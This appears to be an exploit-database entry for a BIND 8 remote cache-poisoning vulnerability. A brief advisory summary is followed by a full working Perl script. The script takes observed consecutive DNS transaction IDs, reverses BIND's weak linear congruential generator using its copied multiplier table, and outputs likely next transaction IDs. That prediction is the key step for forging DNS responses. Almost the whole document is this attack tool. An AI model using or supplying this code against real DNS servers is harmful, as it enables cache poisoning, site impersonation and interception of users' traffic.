ISC BIND 8 - Remote Cache Poisoning Vulnerability (1)



source: http://www.securityfocus.com/bid/25459/info


BIND 8 is prone to a remote cache-poisoning vulnerability because of weaknesses in its random-number generator.

An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.

Versions of BIND from 8.2.0 through to 8.4.7 are vulnerable to this issue. 

# Window of guessing 
# (linear impact on runtime, but also improves success rate)
$WINDOW_SIZE=500;

# How many predictions will be generated per (a,z) candidate
# (actually twice that number)
$PREDICT_SIZE=500; 

use Time::HiRes qw(gettimeofday);

# This table is copied as is from the BIND 8.4.7 source code
# (file ./src/bin/named/ns_main.c)
my @nsid_multiplier_table = (
    17565, 25013, 11733, 19877, 23989, 23997, 24997, 25421,
    26781, 27413, 35901, 35917, 35973, 36229, 38317, 38437,
    39941, 40493, 41853, 46317, 50581, 51429, 53453, 53805,
    11317, 11789, 12045, 12413, 14277, 14821, 14917, 18989,
    19821, 23005, 23533, 23573, 23693, 27549, 27709, 28461,
    29365, 35605, 37693, 37757, 38309, 41285, 45261, 47061,
    47269, 48133, 48597, 50277, 50717, 50757, 50805, 51341,
    51413, 51581, 51597, 53445, 11493, 14229, 20365, 20653,
    23485, 25541, 27429, 29421, 30173, 35445, 35653, 36789,
    36797, 37109, 37157, 37669, 38661, 39773, 40397, 41837,
    41877, 45293, 47277, 47845, 49853, 51085, 51349, 54085,
    56933,  8877,  8973,  9885, 11365, 11813, 13581, 13589,
    13613, 14109, 14317, 15765, 15789, 16925, 17069, 17205,
    17621, 17941, 19077, 19381, 20245, 22845, 23733, 24869,
    25453, 27213, 28381, 28965, 29245, 29997, 30733, 30901,
    34877, 35485, 35613, 36133, 36661, 36917, 38597, 40285,
    40693, 41413, 41541, 41637, 42053, 42349, 45245, 45469,
    46493, 48205, 48613, 50861, 51861, 52877, 53933, 54397,
    55669, 56453, 56965, 58021,  7757,  7781,  8333,  9661,
    12229, 14373, 14453, 17549, 18141, 19085, 20773, 23701,
    24205, 24333, 25261, 25317, 27181, 30117, 30477, 34757,
    34885, 35565, 35885, 36541, 37957, 39733, 39813, 41157,
    41893, 42317, 46621, 48117, 48181, 49525, 55261, 55389,
    56845,  7045,  7749,  7965,  8469,  9133,  9549,  9789,
    10173, 11181, 11285, 12253, 13453, 13533, 13757, 14477,
    15053, 16901, 17213, 17269, 17525, 17629, 18605, 19013,
    19829, 19933, 20069, 20093, 23261, 23333, 24949, 25309,
    27613, 28453, 28709, 29301, 29541, 34165, 34413, 37301,
    37773, 38045, 38405, 41077, 41781, 41925, 42717, 44437,
    44525, 44613, 45933, 45941, 47077, 50077, 50893, 52117,
     5293, 55069, 55989, 58125, 59205,  6869, 14685, 15453,
    16821, 17045, 17613, 18437, 21029, 22773, 22909, 25445,
    25757, 26541, 30709, 30909, 31093, 31149, 37069, 37725,
    37925, 38949, 39637, 39701, 40765, 40861, 42965, 44813,
    45077, 45733, 47045, 50093, 52861, 52957, 54181, 56325,
    56365, 56381, 56877, 57013,  5741, 58101, 58669,  8613,
    10045, 10261, 10653, 10733, 11461, 12261, 14069, 15877,
    17757, 21165, 23885, 24701, 26429, 26645, 27925, 28765,
    29197, 30189, 31293, 39781, 39909, 40365, 41229, 41453,
    41653, 42165, 42365, 47421, 48029, 48085, 52773,  5573,
    57037, 57637, 58341, 58357, 58901,  6357,  7789,  9093,
    10125, 10709, 10765, 11957, 12469, 13437, 13509, 14773,
    15437, 15773, 17813, 18829, 19565, 20237, 23461, 23685,
    23725, 23941, 24877, 25461, 26405, 29509, 30285, 35181,
    37229, 37893, 38565, 40293, 44189, 44581, 45701, 47381,
    47589, 48557,  4941, 51069,  5165, 52797, 53149,  5341,
    56301, 56765, 58581, 59493, 59677,  6085,  6349,  8293,
     8501,  8517, 11597, 11709, 12589, 12693, 13517, 14909,
    17397, 18085, 21101, 21269, 22717, 25237, 25661, 29189,
    30101, 31397, 33933, 34213, 34661, 35533, 36493, 37309,
    40037,  4189, 42909, 44309, 44357, 44389,  4541, 45461,
    46445, 48237, 54149, 55301, 55853, 56621, 56717, 56901,
     5813, 58437, 12493, 15365, 15989, 17829, 18229, 19341,
    21013, 21357, 22925, 24885, 26053, 27581, 28221, 28485,
    30605, 30613, 30789, 35437, 36285, 37189,  3941, 41797,
     4269, 42901, 43293, 44645, 45221, 46893,  4893, 50301,
    50325,  5189, 52109, 53517, 54053, 54485,  5525, 55949,
    56973, 59069, 59421, 60733, 61253,  6421,  6701,  6709,
     7101,  8669, 15797, 19221, 19837, 20133, 20957, 21293,
    21461, 22461, 29085, 29861, 30869, 34973, 36469, 37565,
    38125, 38829, 39469, 40061, 40117, 44093, 47429, 48341,
    50597, 51757,  5541, 57629, 58405, 59621, 59693, 59701,
    61837,  7061, 10421, 11949, 15405, 20861, 25397, 25509,
    25893, 26037, 28629, 28869, 29605, 30213, 34205, 35637,
    36365, 37285,  3773, 39117,  4021, 41061, 42653, 44509,
     4461, 44829,  4725,  5125, 52269, 56469, 59085,  5917,
    60973,  8349, 17725, 18637, 19773, 20293, 21453, 22533,
    24285, 26333, 26997, 31501, 34541, 34805, 37509, 38477,
    41333, 44125, 46285, 46997, 47637, 48173,  4925, 50253,
    50381, 50917, 51205, 51325, 52165, 52229,  5253,  5269,
    53509, 56253, 56341,  5821, 58373, 60301, 61653, 61973,
    62373,  8397, 11981, 14341, 14509, 15077, 22261, 22429,
    24261, 28165, 28685, 30661, 34021, 34445, 39149,  3917,
    43013, 43317, 44053, 44101,  4533, 49541, 49981,  5277,
    54477, 56357, 57261, 57765, 58573, 59061, 60197, 61197,
    62189,  7725,  8477,  9565, 10229, 11437, 14613, 14709,
    16813, 20029, 20677, 31445,  3165, 31957,  3229, 33541,
    36645,  3805, 38973,  3965,  4029, 44293, 44557, 46245,
    48917,  4909, 51749, 53709, 55733, 56445,  5925,  6093,
    61053, 62637,  8661,  9109, 10821, 11389, 13813, 14325,
    15501, 16149, 18845, 22669, 26437, 29869, 31837, 33709,
    33973, 34173,  3677,  3877,  3981, 39885, 42117,  4421,
    44221, 44245, 44693, 46157, 47309,  5005, 51461, 52037,
    55333, 55693, 56277, 58949,  6205, 62141, 62469,  6293,
    10101, 12509, 14029, 17997, 20469, 21149, 25221, 27109,
     2773,  2877, 29405, 31493, 31645,  4077, 42005, 42077,
    42469, 42501, 44013, 48653, 49349,  4997, 50101, 55405,
    56957, 58037, 59429, 60749, 61797, 62381, 62837,  6605,
    10541, 23981, 24533,  2701, 27333, 27341, 31197, 33805,
     3621, 37381,  3749,  3829, 38533, 42613, 44381, 45901,
    48517, 51269, 57725, 59461, 60045, 62029, 13805, 14013,
    15461, 16069, 16157, 18573,  2309, 23501, 28645,  3077,
    31541, 36357, 36877,  3789, 39429, 39805, 47685, 47949,
    49413,  5485, 56757, 57549, 57805, 58317, 59549, 62213,
    62613, 62853, 62933,  8909, 12941, 16677, 20333, 21541,
    24429, 26077, 26421,  2885, 31269, 33381,  3661, 40925,
    42925, 45173,  4525,  4709, 53133, 55941, 57413, 57797,
    62125, 62237, 62733,  6773, 12317, 13197, 16533, 16933,
    18245,  2213,  2477, 29757, 33293, 35517, 40133, 40749,
     4661, 49941, 62757,  7853,  8149,  8573, 11029, 13421,
    21549, 22709, 22725, 24629,  2469, 26125,  2669, 34253,
    36709, 41013, 45597, 46637, 52285, 52333, 54685, 59013,
    60997, 61189, 61981, 62605, 62821,  7077,  7525,  8781,
    10861, 15277,  2205, 22077, 28517, 28949, 32109, 33493,
     3685, 39197, 39869, 42621, 44997, 48565,  5221, 57381,
    61749, 62317, 63245, 63381, 23149,  2549, 28661, 31653,
    33885, 36341, 37053, 39517, 42805, 45853, 48997, 59349,
    60053, 62509, 63069,  6525,  1893, 20181,  2365, 24893,
    27397, 31357, 32277, 33357, 34437, 36677, 37661, 43469,
    43917, 50997, 53869,  5653, 13221, 16741, 17893,  2157,
    28653, 31789, 35301, 35821, 61613, 62245, 12405, 14517,
    17453, 18421,  3149,  3205, 40341,  4109, 43941, 46869,
    48837, 50621, 57405, 60509, 62877,  8157, 12933, 12957,
    16501, 19533,  3461, 36829, 52357, 58189, 58293, 63053,
    17109,  1933, 32157, 37701, 59005, 61621, 13029, 15085,
    16493, 32317, 35093,  5061, 51557, 62221, 20765, 24613,
     2629, 30861, 33197, 33749, 35365, 37933, 40317, 48045,
    56229, 61157, 63797,  7917, 17965,  1917,  1973, 20301,
     2253, 33157, 58629, 59861, 61085, 63909,  8141,  9221,
    14757,  1581, 21637, 26557, 33869, 34285, 35733, 40933,
    42517, 43501, 53653, 61885, 63805,  7141, 21653, 54973,
    31189, 60061, 60341, 63357, 16045,  2053, 26069, 33997,
    43901, 54565, 63837,  8949, 17909, 18693, 32349, 33125,
    37293, 48821, 49053, 51309, 64037,  7117,  1445, 20405,
    23085, 26269, 26293, 27349, 32381, 33141, 34525, 36461,
    37581, 43525,  4357, 43877,  5069, 55197, 63965,  9845,
    12093,  2197,  2229, 32165, 33469, 40981, 42397,  8749,
    10853,  1453, 18069, 21693, 30573, 36261, 37421, 42533
);


@res=@ARGV;
$SIZE=scalar(@res);

if ($SIZE<5)
{
    die "Use command line arguments to specify 5+ consecutive TRXIDs";
}

sub invert
{
    my $x=shift;
    $inv_x=1;
    for (my $b=1;$b<=16;$b++)
    {
        if ((($x*$inv_x) % (1<<$b))!=1)
        {
            $inv_x|=(1<<($b-1));
        }
    }
    return $inv_x;
}

@inv_tab=();
for (my $inv_maker=0;$inv_maker<0x8000;$inv_maker++)
{
    push @inv_tab,0;
    push @inv_tab,invert($inv_maker*2+1);
}

%a_to_index=();

for (my $i=0;$i<1024;$i++)
{
    $a_to_index{$nsid_multiplier_table[$i]}=$i;
}

sub add_to_temp_set
{
    my $v1=shift;
    my $v2=shift;
    my $a=shift;
    my $len=shift;
    
    my $ap=1;
    my $sum=0;
    

    for (my $i=1;$i<$len;$i++)
    {
        $sum=($sum+$ap) % 65536;
        $ap=($ap*$a) % 65536;
        my $c=($ap*$v1) % 65536;
        $c=($v2-$c) % 65536;

        for ($t=0;$t<16;$t++)
        {
            if (($sum>>$t) & 1)
            {
                last;
            }
        }

        if (($c & ((1<<$t)-1)))
        {
            # equation has no solution since $c is 
            # not divisible by 2^$t.

            next;
        }
        if ((($c>>$t) & 1) == 0)
        {
            # $z will come out even. we know this is 
            # not the right solution

            next;
        }
        
        my $inv_sum=$inv_tab[$sum>>$t];

        my $basis=($inv_sum*($c>>$t)) % 65536;
        for (my $k=0;$k<(1<<$t);$k++)
        {
            $temp_set{(($k<<(16-$t))+$basis) % 65536}=1;
        }
    }
}

%set=();
%temp_set=();

my %a_set=();
for (my $i=0;$i<1024;$i++)
{
    my $a=$nsid_multiplier_table[$i];
    if ($a_set{$inv_tab[$a]})
    {
        next;
    }
    $a_set{$a}=1;
}
@a_list=keys %a_set; 

@good_a=();
@good_z=();

my $start_time=gettimeofday();
for (my $index=0;$index<1024/2;$index++)
{
    $a=$a_list[$index];

    for (my $j=0;$j<($SIZE-1);$j++)
    {
        my $v1=$res[$j];
        my $v2=$res[$j+1];

        %temp_set=();
        add_to_temp_set($v1,$v2,$a,$WINDOW_SIZE);
        add_to_temp_set($v2,$v1,$a,$WINDOW_SIZE);

        if ($j==0)
        {
            %set=%temp_set;
        }
        else
        {
            %new_set=();
            foreach $key (keys %set)
            {
                if ($temp_set{$key})
                {
                    $new_set{$key}=1;
                }
            }
            %set=%new_set;
        }
        
        if (scalar(keys %set)==0)
        {
            last;
        }
    }
    if (scalar(keys %set)>0)
    {
        # Check a,z
        $cand_a=$a;
        $cand_z=(keys %set)[0];

        my $ok=1;

        if (not defined $a_to_index{$cand_a})
        {
            $ok=0;
        }

        my $a1ndx=$a_to_index{$cand_a};
    
        if ((($cand_z>>1) & 3) != (($a1ndx>>3) & 3))
        {
            $ok=0;
        }
        
        if ($ok)
        {
            push @good_a,$cand_a;
            push @good_z,$cand_z;
        }

        # Check inverse(a) and its corresponding z
        $cand_a=$inv_tab[$a];
        $cand_z=(-$inv_tab[$a]*$cand_z) % 65536;

        $ok=1;
        if (not defined $a_to_index{$cand_a})
        {
            $ok=0;
        }

        $a1ndx=$a_to_index{$cand_a};
    
        if ((($cand_z>>1) & 3) != (($a1ndx>>3) & 3))
        {
            $ok=0;
        }
        
        if ($ok)
        {
            push @good_a,$cand_a;
            push @good_z,$cand_z;
        }
    }
}

%pred=();
for (my $cand=0;$cand<scalar(@good_a);$cand++)
{
    #Find optimal starting point
    my $pos=0;
    my $max_pos=0;
    my $best=$res[0];
    for (my $p=1;$p<$SIZE;$p++)
    {
        my $x=$res[$p-1];
        my $k;
        for ($k=1;$k<$WINDOW_SIZE;$k++)
        {
            $x=($good_a[$cand]*$x+$good_z[$cand]) % 65536;    
            if ($x==$res[$p])
            {
                last;
            }
        }
        if ($k<$WINDOW_SIZE)
        {
            $pos+=$k;
            if ($pos>$max_pos)
            {
                $max_pos=$pos;
                $best=$res[$p];
            }
            next;
        }            
        
        # Not found in forward lookup. Try backward

        my $x=$res[$p];
        my $k;
        for ($k=1;$k<$WINDOW_SIZE;$k++)
        {
            $x=($good_a[$cand]*$x+$good_z[$cand]) % 65536;    
            if ($x==$res[$p-1])
            {
                last;
            }
        }
        if ($k<$WINDOW_SIZE)
        {
            $pos-=$k;
            next;
        }            
        
        die "Shouldn't get here...";
    }

    #Forward
    my $val=$best;

    for (my $i=1;$i<=$PREDICT_SIZE;$i++)
    {
        $val=((($good_a[$cand]*$val) % 65536)+$good_z[$cand]) % 65536;
        $pred{$val}=1;
    }

    #Backward
    my $a2=$inv_tab[$good_a[$cand]];
    my $z2=((-$a2)*($good_z[$cand])) % 65536;
    $val=$best;
    for (my $i=1;$i<=$PREDICT_SIZE;$i++)
    {
        $val=((($a2*$val) % 65536)+$z2) % 65536;
        $pred{$val}=1;
    }
}

my $end_time=gettimeofday();

print "Predicted possible next TRXID Values (dictionary order): \n".
    join(" ",sort(keys %pred))."\n\n";

print "Total ".(scalar(keys %pred))." candidates found\n\n";

print "INFO: ".($end_time-$start_time)." seconds elapsed\n";